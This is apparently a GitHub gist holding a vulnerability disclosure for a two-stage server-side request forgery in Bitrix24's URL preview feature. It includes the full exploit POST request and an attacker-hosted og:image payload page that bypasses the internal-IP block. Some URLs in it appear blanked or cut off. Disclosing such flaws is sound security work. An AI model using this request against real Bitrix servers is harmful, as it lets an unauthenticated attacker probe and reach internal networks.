Skip to content

Instantly share code, notes, and snippets.

Last active June 29, 2020 11:56
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save mariuszpoplawski/26e1fbde8f9a607478bee1de90daa329 to your computer and use it in GitHub Desktop.
Save mariuszpoplawski/26e1fbde8f9a607478bee1de90daa329 to your computer and use it in GitHub Desktop.
Bitrix24 up to 20.0.975 allows SSRF via intranet IP address in the services/main/ajax.php?action=attachUrlPreview url parameter. If the destination URL hosts an HTML document containing '<meta name="og:image" content="', Bitrix core follows content URL of metatag.
[Additional Information]
First vulnerability allows to trigger server-side request forgery to remote addresses. Second vulnerability in this functionality let us bypass restrictions and generate another request that bypassed policy of local IP block. We were able to generate requests in internal infrastructure.
In first stage we have found SSRF that allowed only to send remote requests. Then we manipulated the parser to parse our HTML page and generate second request to internal Bitrix core at server side. Bitrix was parsing og:image tags, this way we could triggeer second SSRF. The second request was not properly checked for "local" IP's.
To generate SSRF we need to send following request:
POST /bitrix/services/main/ajax.php?action=attachUrlPreview&show_actions=y&buildd_preview=y&die_step=3&admin_section=Y&show_cache_stat1=Y&clear_cache=Y&c=bitrix:main.urlpreview&mode=ajax&=&sessid=bd277e27ef185f42bebbb1d538e66574&signedParamsString=1.12&listSubscribeId[]=1&itemId=1&deleteSubscribe=Y&userFieldId=0&elementId=1 HTTP/1.1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.163 Safari/537.36
Bx-ajax: true
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: pl-PL,pl;q=0.9,en-US;q=0.8,en;q=0.7
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 22
"OurVPSHost" host index.php file:
<?php header('Content-Type:text/html'); ?>
<meta name="og:image" content=""/
Vulnerability sends second SSRF. While first one did not allow send internal request, the HTML parser parsed our og:image tag and sent internal request by redirecting Bitrix server to This way we are able to bypass the restrictions of Bitrix core.
[VulnerabilityType Other]
Unauthorized server side request forgery, bypass domain whitelist
[Vendor of Product],
[Affected Product Code Base]
Bitrix and Bitrix Cloud instances affected - up to security update (main 20.0.975), reported and fixed in latest patch
[Affected Component]
Main core URLPreview function
[Attack Type]
[CVE Impact Other]
Force server side request forgery
[Attack Vectors]
To exploit vulnerability attacker must have access to the website, valid unauth session and CSRF token - all can be generated w/o any
privileges. No additional requirements needed.
[Has vendor confirmed or acknowledged the vulnerability?]
Mariusz Popławski (
Mariusz Popławski / team
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment